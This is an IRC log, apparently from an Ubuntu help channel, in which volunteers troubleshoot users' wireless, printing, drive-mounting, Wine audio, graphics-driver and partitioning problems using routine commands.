[20:48] <DarkShadow791> well i dont know the login/password to my router. some tech guy came up and fixed it since it interfaces with our tv as well
[20:48] <DarkShadow791> and basically told us not to mess with it unless we know what we're doing
[20:48] <MaximLevitsky> ﻿Penopticon, well the standard gnome image viewer has a "page setup' dial that gives me the page size
[20:48] <DarkShadow791> i realize wpa is better but i'm not really worried about security
[20:48] <DarkShadow791> i just need it to connect ><
[20:49] <DarkShadow791> note: it connects fine on my windows boot so its not a router problem (afaik)
[20:49] <ShackJack> DarkShadow791: Ah, well you'll want to find that out and switch it over - trust me it's for the best - and assuming your wireless card is working will likely solve the issue...
[20:49] <MaximLevitsky> Penopticon: But f-spot doesn't have this dialog
[20:49] <DarkShadow791> how would i go about troubleshooting my wireless card
[20:49] <falstaff> I used this program to control my monitor I think it was a KDE program ... but I can't remember the name ... can someone tell me what it was??
[20:49] <ShackJack> DarkShadow791: WEP is not very secure...
[20:49] <Penopticon> MaximLevitsky: I find the page choice in my printer properties after a choose print on my machine. But I like PhotoPrint better.
[20:49] <DarkShadow791> i know this but its just a home connection and i'm not worried about security
[20:49] <ShackJack> DarkShadow791: Does networks show up when clicking on network icon in tray?
[20:49] <MaximLevitsky> Penopticon: where exactly?
[20:50] <DarkShadow791> when i click on the icon in the tray, the network doesnt show up
[20:50] <DarkShadow791> i have to type in the name manually
[20:50] <rotinni2> could someone let me have a sources list file for xubuntu hardy. I just copied over mine with another file :(
[20:50] <ShackJack> DarkShadow791: no other networks show up either?
[20:50] <DarkShadow791> no
[20:50] <Penopticon> MaximLevitsky: I have a choice to open properties on my machine.
[20:50] <Penopticon> I think it depends on your printer.
[20:51] <ShackJack> DarkShadow791: in terminal type iwconfig and lemme know if you see anything next to wlan0 (or otherwise)
[20:51] <danbhfive> !sources | rotinni2
[20:51] <rotinni2> danbhfive, thanks
[20:51] <DarkShadow791> IEEE 802.11g ESSID:""   and a bunch of other stuf
[20:51] <ShackJack> DarkShadow791: Hmmm looks like it's working...
[20:52] <falstaff> What program can I use to change the way my monitor looks it was some kind of kde config file ...
[20:52] <Matai> Hi Penopticon, this WUBI doesn't run either on windows, I want to install Ubuntu normally, but I need the space that the install took in windows, can I just delete the dir?
[20:52] <ShackJack> DarkShadow791: Can you pastebin it?
[20:52] <DarkShadow791> ya one moment
[20:52] <Penopticon> Matai: You have to reformat the partition.
[20:52] <DarkShadow791> http://pastebin.com/m40f18759
[20:52]  * ShackJack looks
[20:53] <Penopticon> Matai: Try Qpartid.
[20:53] <danbhfive> !webcam
[20:53] <McAfee17> i'm stupid, my cd drive had slid out
[20:53] <DarkShadow791> on a completely unrelated note, i could use a better linux irc client then pidgin
[20:53] <DarkShadow791> but first things first :O
[20:53] <Matai> I can do that in the full install can't I, but how will I know its the Ubuntu one?
[20:53] <MaximLevitsky> Penopticon: I don't have a way to specify paper size in gnome print dialog
[20:53] <fomigo> I have a problem with Nautilus in Ubuntu 8.04. It doesn't work properly - CPU 50%, but in Nautlues over root it's all right. Maybe someone knows about it anything?
[20:53] <Penopticon> DarkShadow791:  Try Konversation. It is very configurable.
[20:53] <ShackJack> DarkShadow791: seems like the card is working... Best bet is to access the router... switch to open network and see if that pics it up... And I know its the Windows way, but I restart it when I switch network encryption modes...
[20:54]  * ShackJack loves his Pidgin
[20:54] <McAfee17> b/c i'm on a laptop and i swtiched the drives and didn't put back in the mounting screws oops ^0^
[20:54] <DarkShadow791> well i'd need to recover the router's admin login info first
[20:54] <Penopticon> MaximLevitsky: That seems strange. I am using an HP and cups and I see my HP properties.
[20:54] <DarkShadow791> when the tech guy came he changed it and i'm not sure what to
[20:54] <ShackJack> DarkShadow791: And double check your wifi is broadcasting on g-band as well
[20:54] <DarkShadow791> ShackJack: how?
[20:54] <MaximLevitsky> Penopticon: I use hp too, photosmart c3183
[20:54]  * McAfee17 loves  shackjack
[20:54] <McAfee17> lol
[20:55] <Jelly_> Does anyone know if Envy-NG supports the ATI 4850 card?
[20:55] <Penopticon> MaximLevitsky: Have you installed HP-tools?
[20:55] <ShackJack> DarkShadow791: Router is accessible via web browser - ususally something like 192.168.1.1 then it's a gui ish menu from there..
[20:55] <MaximLevitsky> Penopticon: you mean hplip?
[20:55] <Penopticon> MaximLevitsky: No HP-tools.
[20:55] <DarkShadow791> ya but i dont know the login ><
[20:55] <Penopticon> That should get you into the properties.
[20:55] <markus_> how can i move grub to another harddrive?
[20:56] <ShackJack> DarkShadow791: You can always take your notebook (I assume it's a notbook) to other hotspots and see if it picks up the networks too :)
[20:56] <MaximLevitsky> Penopticon: I don't see such package in ubuntu
[20:56] <DarkShadow791> yes it's a laptop and i'll try that at another point
[20:57] <DarkShadow791> but i mainly use it in my house so it's somewhat critical that i can pick up my own house's signal if i'm going to be using ubuntu
[20:57] <ShackJack> DarkShadow791: Re: login... you'll need to find that out... and it's a good policy in general tou know your own router's login ;)
[20:57] <Penopticon> http://www.hpcalc.org/details.php?id=3786
[20:57] <DarkShadow791> is there an easy way to do that without resetting the router?
[20:57] <DarkShadow791> i've tried all the defaults but nothing seems to work
[20:58] <ShackJack> DarkShadow791: do what?
[20:58] <DarkShadow791> Find out the router login info
[20:58] <McAfee17> penopticon: it's working now!!!
[20:58] <McAfee17> i'ts burnin my iso
[20:58] <ShackJack> DarkShadow791: why not just ask the guy who set it up?
[20:58] <Penopticon> McAfee17: Good work.
[20:58] <ShackJack> DarkShadow791: or have him come over and troubleshoot :)
[20:58] <McAfee17> ty,
[20:58] <markus_> how can i move grub to another harddrive?
[20:58] <MaximLevitsky> Penopticon: why would I want this? I use printer, not calculator
[20:58] <ShackJack> DarkShadow791: what kind of notebook incidentally?
[20:58] <DarkShadow791> i know i could do that... i wish there was a cheaper way though :P
[20:58] <McAfee17> the drive had slid out of it 's spot cuz i left the screw outta the bracket on the back
[20:58] <McAfee17> rofl
[20:59] <DarkShadow791> HP Pavilion zv6000
[20:59] <DarkShadow791> not exactly new
[20:59] <Penopticon> https://help.ubuntu.com/community/Printers  sorry
[20:59] <ShackJack> DarkShadow791: Do you know what kind of card is in it? Is it built in?
[20:59] <falstaff> What program do I use to change the monitor settings?
[21:00] <Pirate_Hunter> since installing and setting up dansguardian with firehol, tinyproxy & squid i ahve noticed a slow response but top shows that the system is ok and im using icewm, how can i make sure some obscure process is not taking up cpu resources?
[21:00] <DarkShadow791> 802.11 b/g broadcom something something
[21:00] <DarkShadow791> is there an easy way to find out?
[21:00] <rezasalami> hi
[21:00] <ShackJack> DarkShadow791: Try the following to find out:   lspci | grep wire
[21:01] <rezasalami> i cud not compile 1 program
[21:01] <DarkShadow791> lspci | grep wire did nothing (or appeared that way)
[21:01] <rezasalami> it is a lammps
[21:01] <ShackJack> DarkShadow791: The lspci lists pci devices and the pipe char/grep is a filter to show only lines with the word wire in them...
[21:01] <rezasalami> http://lammps.sandia.gov/download.html
[21:01] <DarkShadow791> maybe i typed it wrong? "lspci | grep wire" exactly?
[21:01] <ShackJack> DarkShadow791: how bout just lspci and you can look in there or grep wi (it might be in as wi-fi)
[21:01] <rezasalami> i need to use this program
[21:01] <DarkShadow791> ya found it
[21:02] <DarkShadow791> 03:02.0 Network controller: Broadcom Corporation BCM4318 [AirForce One 54g] 802.11g Wireless LAN Controller (rev 02)
[21:02] <rezasalami> can help me?
[21:02] <Penopticon> HPLIP Toolbox is in the repro.
[21:02] <MaximLevitsky> ﻿Penopticon, I have it, it is included in hplip
[21:02] <ShackJack> DarkShadow791: Dunno if other have experience with Broadcomm wireless (I've heard good n' bad)... but sound like from your iwconfig that it's working... I may be mistaken...
[21:03] <DarkShadow791> I believe it's working
[21:03] <Penopticon> MaximLevitsky: Then you should be able to go to properties. Try PhotoPrint instead.
[21:03] <DarkShadow791> i know it's working on windows boot. and it seems to be doing something when i try to connect
[21:03] <rezasalami> :-/
[21:03] <DarkShadow791> but it never actually connects
[21:03] <DarkShadow791> hold on i'll figure out what it says its doing. brb
[21:03] <ShackJack> DarkShadow791: On the grep - my mistake it's case sensitive unless you do regexs
[21:03] <MaximLevitsky> Penopticon: I can set the paper type there, but I am afraid whenever application I am using will override the settings
[21:03] <McAfee17> yay,!!! its fixed
[21:03] <Realcoolguy> does ext2/ext3 have any file size limitations? (max file size?)
[21:04] <rezasalami> thanks allut
[21:04] <McAfee17> !offtopic | Odd-rationale
[21:04] <McAfee17> lol
[21:04] <flush> yo im having issues compiling form CVS could anyone have a look at https://sourceforge.net/cvs/?group_id=113229 please.. i cant find anything on google or on the forum about compile instructions
[21:04] <Penopticon> PhotoPrint lets you choose the paper size.
[21:04] <McAfee17> this fun
[21:04] <squidly> anyone have the fglrx driver working with an ati mobility 7500?
[21:04] <MaximLevitsky> Penopticon: I just tried photoprint, and it asks me the model/driver for printer, and it seems that it supports gutenprint only
[21:04] <ShackJack> DarkShadow791: you can use iwconfig in terminal for that (man iwconfig) though I don't have much experince with it that way..
[21:04] <MaximLevitsky> Penopticon: my printer is hplip only
[21:05] <Penopticon> then maybe it is the printer.
[21:05] <Penopticon> MaximLevitsky: Try posting on the forum.
[21:05] <ShackJack> DarkShadow791: at any rate if you can mg to get into the router and turn off WEP or go to an  open hotspot, you can at least confirm its operation... And perhaps switch router to WPA2 Personal
[21:06] <DarkShadow791> it says...
[21:06] <ShackJack> ﻿DarkShadow791: at any rate if you can mg to get into the router and turn off WEP or go to an  open hotspot, you can at least confirm its operation... And perhaps switch router to WPA2 Personal
[21:06] <cheriplum> could someone help me with my fstab?  on bootup, it mounts my windows drive in the correct place, but only root has read/write permission.  I don't know how to fix it?
[21:06] <DarkShadow791> Preparing device wlan0 for something '<my network name>'...
[21:06] <DarkShadow791> and doesnt do anything after that
[21:06] <DarkShadow791> ya i was thinking of doing that :/
[21:07] <ShackJack> DarkShadow791: You're talking about using iwconfig command-line ya I've never had much luck with that :)
[21:07] <cheriplum> the line is:   /dev/hda1   /mnt/160GBHDD   ntfs   auto,user
[21:08] <DarkShadow791> is there an alternate program to connect?
[21:08] <DarkShadow791> besides the built in one? (something that might be a little more easy?)
[21:08] <ShackJack> DarkShadow791: There's iwconfig and Network Manager which is pretty darn easy :)
[21:09] <DarkShadow791> darn i gtg. thanks for the help shackjack, ill return later if i cant figure it out
[21:09] <Bodsda> cheriplum, mine is   /dev/xxx#    mnt/point    auto         rw,user,noauto,exec,utf8 0
[21:09] <Bodsda> /mnt/point*
[21:10] <McLinux> Hi - Can anyone tell me why I ended up with edubuntu when I installed ubuntu?  I haven't noticed any difference but the name, but I'm a bit curious is all!
[21:10] <cheriplum> does it matter what order the final tags are in, Bodsda ?
[21:10] <nickrud> McLinux, somehow edubuntu-desktop got installed
[21:10] <Bodsda> cheriplum, im not sure, make a backup of the file then fiddle :)
[21:11] <banisterfiend> how would i use awk to display only those lines of a file that dont begin with a number?
[21:11] <Pirate_Hunter> whats the command to call forward the sound settings gui in terminal?
[21:11] <cheriplum> K, brb
[21:11] <nickrud> Pirate_Hunter, gnome-sound-properties ?
[21:11] <McLinux> thanks
[21:12] <Pirate_Hunter> nickrud: would it apply if it is for xubuntu?
[21:12] <nickrud> Pirate_Hunter, probably not :)
[21:13] <Bodsda> Pirate_Hunter, maybe -- your using xfce not gnome -- not sure
[21:13] <nikitis> I've got a problem with my sound card.  Can someone help me?
[21:13] <Bodsda> !someone | nikitis
[21:13] <Pirate_Hunter> nickrud, Bodsda: ty will try
[21:14]  * ShackJack hasn't seen that ubotu msg b4 :)
[21:14] <the-ra> anyone with out of memory problems with the current ubuntu?
[21:14] <Pirate_Hunter> Bodsda: nah replacing gnome for xfce doesnt work it doesnt even recognise the command
[21:14] <cibbao> ciao a tutti
[21:14] <cibbao> posso avere una piccola invfo?
[21:15] <LjL> !it | cibbao
[21:15] <Bodsda> Pirate_Hunter, check your 'top' then load the program from gui, and run 'top' again -- the extra processwill be the command you want
[21:15] <nikitis> My Sound card quit working.  I have no idea where to start.  May I please have someones attention who can help me "troubleshoot" my issue.
[21:17] <nikitis> I can't really get more descriptive than that.
[21:17] <Pirate_Hunter> Bodsda: ok
[21:17] <cheriplum> Bodsra, I tried your tags in my fstab.  It is now mounted, but still, only root can read/write.  This drive used to automatically mount in the /media fodler and show up in the Places gnome-menu.  I'd like to be able to get back to that point.  Any more ideas anyone?
[21:17] <nikitis> If I could, I would google it
[21:18] <cheriplum> Bodsda, I meant
[21:18] <falstaff> I am trying to fine the program that changes the monitor settings.
[21:18] <nickrud> cheriplum, is this an ext3 drive?
[21:18] <cheriplum> ntfs
[21:19] <laserbeak43> I'm usingn mount wrong can someone please help? here's a paste of what i've done: http://rafb.net/p/mrP6Qg13.html
[21:19] <nikitis> Anyone available?
[21:19] <nickrud> ntfs, add umask=000 to the options for all to readwrite
[21:19] <cheriplum> nickrud, I'll try it, thanks
[21:20] <cheriplum> any way to "re-do" the fstab to see what the changes do without rebooting completely?
[21:20] <Bodsda> laserbeak43, what are you trying to mount? iso, cd, hard drive........?
[21:20] <laserbeak43> a .iso file
[21:20] <WastePotato> ...
[21:20] <nickrud> cheriplum, sudo umount /mnt/point ; sudo mount -a
[21:20] <McAfee17> how do i partition!?
[21:21] <WastePotato> Gparted livcd
[21:21] <McAfee17> do i have to have a live cd?
[21:21] <phoenix116> ubuntu live cd
[21:21] <McAfee17> y cna't i just partionion?
[21:21] <nickrud> McAfee17, if you plan on repartitioning the partition that you boot from, yes
[21:21] <Bodsda> laserbeak43, after 'loop' you should be entering a file path eg  mount -o loop /path/to/my/iso/my_iso_game.iso
[21:21] <WastePotato> Well, Gparted and XP/Vista are the only ones I know.
[21:21] <hadi> hi, i any body knows a good phone that can communicate with linux?
[21:21] <nickrud> *yes, you need a live cd
[21:21] <laserbeak43> laserbeak43@Moonbase1:~/Desktop$ sudo mount -o loop Warcraft III - The Frozen Throne [Disk 1].iso /Desktop/lol/
[21:21] <McAfee17> k thxs
[21:22] <WastePotato> LjL
[21:22] <LjL> yes?
[21:22] <WastePotato> Can you help me with a problem on Xubuntu?
[21:22] <cheriplum> nickrud, umount: /mnt/point: device is busy.  This is as root.  Any way to force it?
[21:22] <LjL> i've never even used xubuntu...
[21:22] <WastePotato> D:
[21:22] <WastePotato> :(
[21:23] <Bodsda> cheriplum, umount -f ?
[21:23] <McAfee17> i wannaa install vista, but it says i have to have an NTFS partiotion? how do i do that?
[21:23] <Bodsda> McAfee17, ##windows
[21:23] <nickrud> cheriplum, make sure you're not cd'd into the directory
[21:23] <phoenix116> why are u on ubuntu channel?
[21:23] <compengi> McAfee17, do you have an NTFS partition?
[21:23] <laserbeak43> Bodsda: done that, still not working tho
[21:23] <McAfee17> NO
[21:23] <McAfee17> how do i get one?!
[21:23] <WastePotato> LjL: Well, it happens on GNOME as well.
[21:23] <Bodsda> laserbeak43, show me the exact command
[21:23] <cheriplum> nickrud, lol, good call.
[21:23] <McAfee17> i'm on ubuntu 8.04 lts (hardy)
[21:24]  * nickrud has been there and done that (yesterday, even)
[21:24] <Bodsda> McAfee17, gparted
[21:24] <McAfee17> and i'm tryin to partition and install vista buisness
[21:24] <McAfee17> thxs bodsda
[21:24] <compengi> McAfee17, download resizer named "gparted" using sudo apt-get install gparted and create an NTFS partition
[21:24] <laserbeak43> Bodsda: http://rafb.net/p/mrP6Qg13.html
[21:24] <Bodsda> McAfee17, vista 'should' be able to partition and format during its install process
[21:25] <ShackJack> Doesn't Vista stomp all over everything if installed second?
[21:25] <ShackJack> MBR, etc...
[21:25] <dorothy_gale> Hi all, I'd like to install Ubuntu on to my laptop over the internet as my CD-ROM is wonky, is this possible?
[21:25] <jin> what happened to gnomefiles.org?
[21:25] <nickrud> only 'stomps' on mbr
[21:25] <phoenix116> grub, y
[21:25] <dashavoo> WastePotato, didn't you come back to #ubuntu-offtopic?
[21:25] <Bodsda> laserbeak43, that doesnt look like a file path to me
[21:25] <compengi> Bodsda, he has ext3 only partitions as far as i can see. don't think vista sees them
[21:25] <ShackJack> dorothy_gale: No, via USB would be easier...
[21:25] <Bodsda> ShackJack, yes, but grub is restorable/reinstallable
[21:25] <nickrud> !install | dorothy_gale (see the tinyurl)
[21:25] <Bodsda> compengi, vista should see them as unhealthy partitions
[21:26] <laserbeak43> Bodsda:  do i need to add a file path if the console is already working in that directory?
[21:26] <compengi> Bodsda, resize them too? ;)
[21:26] <cheriplum> nickrud, a couple loose ends to tie up if you don't mind.  I guess to get it back in the gnome menu, mount it in /media rather than /mnt?
[21:26] <WastePotato> dashavoo: ompaul banned me because I called him a retard for "-o" me because I joke trolled.
[21:26] <WastePotato> :/
[21:26] <arcsky> Is there any good tool for slipstream ubuntu?
[21:26] <Bodsda> compengi, vista/windows wont touch unhealthy partitions untill they have been medicated back tontfs :)
[21:26] <nickrud> cheriplum, yes. /mnt is intended as a temporary mount point only
[21:26] <dashavoo> WastePotato, you were unbanned quite soon after
[21:26] <WastePotato> I'm not.
[21:27] <WastePotato> I just tried
[21:27] <compengi> Bodsda, he also needs to set his NTFS partition as first boot. or else vista won't see it
[21:27] <LjL> not really, anyway this is not the place to discuss it, please
[21:27] <dashavoo> hmm, maybe I imagined it then =S
[21:27] <trip0> I've got a init script in which I can call /etc/init.d/myinitscript start, and I sym link it to a S99myinitscript in /etc/rc3.d but it doesn't seem to be running when I get into X.  anyone have any clue why???
[21:27] <WastePotato> ﻿I always lose sound on ubuntu on my laptop after a sleep/hibernate?
[21:27] <dashavoo> aww, so you are
[21:27] <WastePotato> Gah.
[21:27] <dashavoo> sorry :(
[21:27] <compengi> Bodsda, that's the point i wanted to get you ;)
[21:27] <nickrud> cheriplum, erm, I think so anyway. I usually just mount them at /dos
[21:27] <Bodsda> laserbeak43, then you need            sudo mount -o loop ./"Warcraft III - The Frozen Throne [Disk 1].iso" /Desktop/lol/
[21:28] <Bodsda> compengi, all is good :)
[21:28] <laserbeak43> Bodsda: ahh cool thanks :) i'll try that
[21:28] <WastePotato> Everyone PM'ed me and said I was unbanned, but when I tried, it still said I was banned.
[21:28] <WastePotato> LjL: Sorry, I didn't see your message.
[21:29] <cheriplum> nickrud, I'll give it a try.
[21:30] <Spherous> Anyone know how to make it so 2 apps can use sound? Like so I can be on vent and WoW at the same time
[21:30] <phoenix116> does anyone know why my warcraft 3 on wine sometimes resets the registry settings for screen resolution( or does wine do this?)
[21:31] <lakhra> Hello!
[21:31] <compengi> Spherous, it's not something you to decide. it depends on if your applications use alsa driver or not, by which application it was used the other's sound won't work
[21:31] <erudite> hi lakhra
[21:31] <Osse> Is there a possibility to automatically synch two folders between two computers? (One Ubuntu and one Windows XP)
[21:31] <lakhra> Excuse me, do I have to install dhcp3-server to get dhcp to work, and could it be that in the upgrade to 8.04 this package got removed?
[21:31] <WastePotato> pheonix116: WINE Apps do that to me (games), but I don't know why.
[21:31] <Spherous> So, its impossible for me to raid then, right?
[21:31] <xomp> damn compiz blacklisting my ati mobility radeon :(
[21:32] <qr> lakhra: you don't need that to get dhcp addresses, you do need that if you want your machine to give out addresses though.
[21:32] <lakhra> Because before I finally upgraded ubuntu on my PC today, I could happily connect to the internet from my Lappy via the PC. Now, this does no longer work.
[21:32] <compengi> xomp, what you mean blacklisting
[21:32] <lakhra> And I'm trying to get it back to work again...
[21:33] <xomp> compengi, as in I can't enable advanced desktop effects because compiz reports problems with my graphics card :S
[21:33] <qr> lakhra: try sudo dhclient eth0 (or replace eth0 with the network device you use)
[21:33] <xomp> compengi, there's a way around it, but I can't remember how and I get a canned !bot response in #compiz-fusion :(
[21:33] <Spherous> Okay, so I know WoW uses Atla or whatever that sound thing is, is there a app that can connect to vent servers that uses it Atla too?
[21:33] <xomp> Spherous, Alsa
[21:33] <Spherous> Whatever~ you got my point though
[21:34] <lakhra> qr: Well, does not seem to work... though it would be weird to get an IP address etc. from the same computer
[21:34] <xomp> Spherous, it's generally a good idea to specify instead of assuming lol. But thanks for the Whatever none the less :)
[21:34] <compengi> xomp, what's you ati model?
[21:34] <qr> lakhra: dhclient is for requesting an IP address
[21:34] <xomp> compengi, 4098 is the vendor ID
[21:35] <compengi> xomp, what lspci lists?
[21:35] <Spherous> Lol sorry~ I'm new to Ubuntu, I'll probably switch back to windows though if I can't get vent to work with WoW
[21:35] <WastePotato> D:
[21:35] <WastePotato> Dual Boot.
[21:35] <Spherous> I already did that, I didn't like it
[21:36] <lakhra> qr: oh.. well, only my laptop needs an IP address (and that one is running winXP); my PC does have a working internet connecton (obviously), and I dare not change anything with the outgoing side lest that won't work anymore either...
[21:36] <WastePotato> Oh..
[21:36] <xomp> compengi, 01:00.0 VGA compatible controller: ATI Technologies Inc Radeon Mobility M7 LW [Radeon Mobility 7500]
[21:36] <Spherous> So, again, is there an app that uses Alsa that can connect to vent servers?
[21:36] <qr> lakhra: so... you're asking for help getting an IP address for a windows machine 0_o
[21:37] <Nicke> Spherous: A friend of mine successfully used wine to run the ventrilo windows executable
[21:37] <samurroud> #ubuntu-pt
[21:37] <lakhra> qr: not really, the windows laptop had no problem getting IP address and internet connectivity before, it just does not work anymore after upgrading ubuntu, so I assume it has to do with ubuntu on my PC..
[21:37] <Nicke> Spherous: With instructions gathered from http://www.winehq.org/
[21:37] <cheriplum> nickrud, well, the drive still isn't showing up in the gnome-panel but it does moutn to /media on boot-up and can be read by all users.  I'm getting ready to try and set write permission for all users
[21:37] <Spherous> Yeah, I can get it to run, but I can't hear anything out of it when I have WoW open
[21:38] <Nicke> Spherous: Oh, okey. But you get sound when you don't use WoW?
[21:38] <qr> lakhra: so you upgraded ubuntu on one machine and then a completely different machine started having internet problems?
[21:38] <xomp> Spherous, have you tried http://digg.com/linux_unix/Getting_Ubuntu_to_Play_Nice_with_WoW_and_Ventrilo
[21:38] <mint> hello, how ti disable my ati driver
[21:38] <Spherous> Yep
[21:38] <usser> lakhra, is your laptop connected through your pc?
[21:38] <lakhra> usser: yes
[21:38] <Nicke> Spherous: I see, afraid I can't help then
[21:38] <Terrasque> Spherous: have you configured wine to use alsa?
[21:38] <lakhra> Sorry, I should have clarified that.
[21:38] <mint> is it enough to rename the xorg.conf file ?
[21:38] <Spherous> No I haven't but thanks for the link Xomp
[21:39] <xomp> Spherous, n/m looks like a broken link lol. Got to love the interwebs huh? :)
[21:39] <McAfee17> dl'n gparted no
[21:39] <Spherous> Yes, Wine is configured to use Alsa not OSS
[21:39] <McAfee17> *now
[21:39] <usser> lakhra, take a look at brigde-utils to share your inet connection
[21:39] <Spherous> heh, thanks anyway for it~
[21:39] <compengi> xomp, what you get input for glxinfo | grep direct
[21:39] <Terrasque> Spherous: is this newest ubuntu? in that case, try killing the pulseaudio server and set everything to use alsa
[21:39] <xomp> compengi, direct rendering: Yes
[21:40] <tim1> hi
[21:40] <tibetoine> Hi guys,  When I run a Wine application i have this kind or result : http://i38.tinypic.com/2d0chmc.jpg ( I have an ATI video card with driver 8.6 catalyst ) ... Could you help me with this issue ?
[21:40] <Spherous> Pulseaudio server?
[21:40] <usser> lakhra, pastebin the results of your ifconfig command
[21:40] <tim1> Will it ever be possible for ubuntu or  linux to hibernate or suspend properly
[21:40] <xomp> having the flu in Sept sucks :(
[21:41] <Babbleback> i've had problems with the hibernate too
[21:41] <usser> tim1, yes it will eventually get there, hibernation support constantly improves
[21:41] <samurroud> algum portugues por aqui??
[21:41] <lakhra> usser: http://pastebin.com/m3e41dc1b
[21:41] <phoenix116> i'had nothing else than problems with hibernate and suspend
[21:41] <alperan> ben alperan kimse varmı
[21:41] <Babbleback> i've never been able to update from 7.04 to 8 anything without it crashing my system
[21:41] <tim1> what about the drivers you need good strong drivers to have hibernate right ?
[21:41] <jrib> samurroud: sim, mas para falar portugues vai a #ubuntu-pt ou #ubuntu-br
[21:42] <samurroud> no pt ninguem fala :S
[21:42] <jrib> samurroud: o -br e mais grande
[21:42] <usser> lakhra, how are you connected to the internet through modem?
[21:42] <xomp> I have to stay with Gutsy since Hardy epic fails after I install all the updates lol
[21:42] <nxmehta> is there a way to ask apt-get to give me a description of a package (similar to what you would see when browsing for the package in aptitude)?
[21:42] <tibetoine> Hi guys,  When I run a Wine application i have this kind or result : http://i38.tinypic.com/2d0chmc.jpg ( I have an ATI video card with driver 8.6 catalyst ) ... Could you help me with this issue ?
[21:42] <xim> is there a list or some database of different video cards and their compatibility with ubuntu (or linux)
[21:43] <xomp> got to love ATI :D
[21:43] <lakhra> usser: ppp over ethernet to a DSL modem, I think, though I am not totally sure anymore on that ("hey, it works")
[21:43] <Spherous> Hmm, in Wine, I have it set to use Alsa drivers, when I press "test audio" it gives me an error saying "Audio test failed"
[21:43] <cheriplum> I have this windows drive I've been trying to get straightened out.  I have it mounted /media/windows and it has the tags rw,user,noauto,exec,utf8,umask=000.  It is read-only (apparently) and I can't change it with a root nautilus or sudo chmod.  Every time it tells me the FS is rad-only.  How do I get it to have write permission?
[21:44] <usser> lakhra, thats some weird setup, so u connected with a network cable?
[21:44] <lakhra> usser: er, yes, there is one network cable laptop - PC and another one (different network card) PC - DSL modem
[21:45] <phoenix116> spherous: this always happens to me in wine, try to set Esound driver, apply and start winecfg again and then set alsa
[21:45] <phoenix116> sometimes works
[21:45] <WastePotato> xomp: Compiz doesn't work with ATI cards? Oh Gawd. I guess it won't work with my laptop then....
[21:46] <balle_> hey, how can i make the icons on my toolbar and on the desktop any smaller, is that even possible?
[21:46] <tibetoine> Compiz works with ATI card !
[21:46] <xomp> WastePotato, it does work, just you have to make some edits
[21:46] <samurroud> pa entrar no Br é preciso registar, e é um pouco confuso... :S
[21:46] <laserbeak43> Bodsda: laserbeak43@Moonbase1:~/Desktop$ sudo mount -o loop "Warcraft III - The Frozen Throne [Disk 1].iso"
[21:46] <laserbeak43> [sudo] password for laserbeak43:
[21:46] <laserbeak43> mount: can't find Warcraft III - The Frozen Throne [Disk 1].iso in /etc/fstab or /etc/mtab
[21:46] <hfmls> hi
[21:46] <xomp> WastePotato, My ATI is blacklisted but you can easily bypass the blacklist to get it all working :D
[21:46] <ShackJack> WastePotato: What kindof card was yours again?
[21:46] <laserbeak43> got the same result when i tried it your way
[21:46] <tibetoine> Does someone knows this problem with wine :
[21:46] <WastePotato> My card isn't even on their site. o_0 They're ashamed to show ii.
[21:46] <tibetoine>  http://i38.tinypic.com/2d0chmc.jpg
[21:46] <ubuntu> can i run virtualbox in ubuntu server?
[21:46] <usser> lakhra, hm, bridging might not work since u connected to the internet directly and theres only 1 ip
[21:46] <tibetoine> Does someone knows this problem with wine :  http://i38.tinypic.com/2d0chmc.jpg
[21:47] <compengi> xomp, you probably need to look at this post http://ubuntuforums.org/showthread.php?t=750551
[21:47] <hfmls> can anybody help me please? i wanna edit menu.lst file , grub. so windows appears first and ubuntu second with 3 seconds option to choose.
[21:47] <tcleval> i cant start qt application: error on konqueror -> /usr/lib/libQtSvg.so.4: undefined symbol: _ZN14QObjectPrivate15checkWindowRoleEv   anyone?
[21:47] <Bodsda> laserbeak43, where is the iso saved?
[21:47] <cheriplum> can someone help me with mounted drive permissions?  they're read-only, and root ca't change them
[21:47] <WastePotato> ATI Radeon X1200 (Integrated Graphics)
[21:47] <st3ff> hi all
[21:47] <laserbeak43> Bodsda:  the desktop
[21:47] <ShackJack> WastePotato: X1200? Not a 1300... hmmm... I have a 1400 and it works out of the box...
[21:48] <WastePotato> tibetoine: Try the forums...
[21:48] <favafro> !ntfs-3g | cheriplum
[21:48] <st3ff> someone can tell me where can i find an advanced ubuntu guide?
[21:48] <Spherous> phoenix116: What is Esound driver? I don't see it in Winecfg
[21:48] <xomp> thanks compengi
[21:48] <Bodsda> laserbeak43, sudo mount -o loop ./"Warcraft III - The Frozen Throne [Disk 1].iso" ~/Desktop/lol
[21:48] <Bodsda> laserbeak43, copy and paste that whole command
[21:48] <compengi> xomp, this one have also some valuable info http://ubuntuforums.org/archive/index.php/t-766802.html
[21:48] <laserbeak43> Bodsda: i did before, i'll try it again
[21:48] <usser> lakhra, give me a sec
[21:48] <cheriplum> Ah, I though that NTFS write was built into the kernel, or at least pretty standard these days.  I'll check out the link
[21:48] <Bodsda> laserbeak43, assuming there is a folder on the desktop called 'lol'
[21:48] <Babbleback> well itunes doesn't seem to find the ipod either so i guess just the power lines are working the cable
[21:48] <laserbeak43> yeah there is
[21:48] <hfmls> any1 pls ?
[21:49] <WastePotato> Does iTunes work in WINE?
[21:49] <Spherous> Don't think so, I use Songbird
[21:49] <tibetoine> WastePotato,  I tried !
[21:49] <Bodsda> WastePotato, chek the appdb or ask in #winehq
[21:49] <balle_> hey, how can i make the icons on my toolbar and on the desktop any smaller, is that even possible?
[21:49] <WastePotato> Songbird FTW!
[21:49] <WastePotato> tibetoine: D:
[21:49] <WastePotato> Then I have no idea.
[21:49] <laserbeak43> Bodsda: i got no response so that means everything worked?
[21:50] <WastePotato> Is it only happening in WINE?
[21:50] <Bodsda> laserbeak43, yes
[21:50] <ubuntu> can i run virtualbox with ubuntu server?
[21:50] <usser> lakhra, try to do the following
[21:50] <Spherous> So does anyone know how to fix Wine so it doesn't give that "audio test failed" message?
[21:50] <Bodsda> ubuntu, yes
[21:50] <usser> lakhra, sudo gedit /etc/network/interfaces
[21:50] <Bodsda> Spherous, ask in #winehq
[21:50] <ubuntu> how? any tutorials outthere?
[21:50] <r2q2> ubuntu: I am going to do that now.
[21:50] <r2q2> ubuntu: Its pretty straightforward. Just use the virtualbox wizard.
[21:50] <qr> is there a mathematica like (free) program for linux
[21:50] <Bodsda> ubuntu, have you installed ubuntu-desktop? im pretty sure you need a gui desktop
[21:50] <nathanielneall> can someone provide me generously wit some assistance
[21:50] <laserbeak43> Bodsda: i'll save that. thanks :)
[21:51] <Bodsda> laserbeak43, your welcome
[21:51] <hydroponics> I need help troubleshooting an ATI problem
[21:51] <jrib> qr: scilab, octave, maxima, scipy/numpy to name a few
[21:51] <r2q2> qr: Yes. Its called sage.
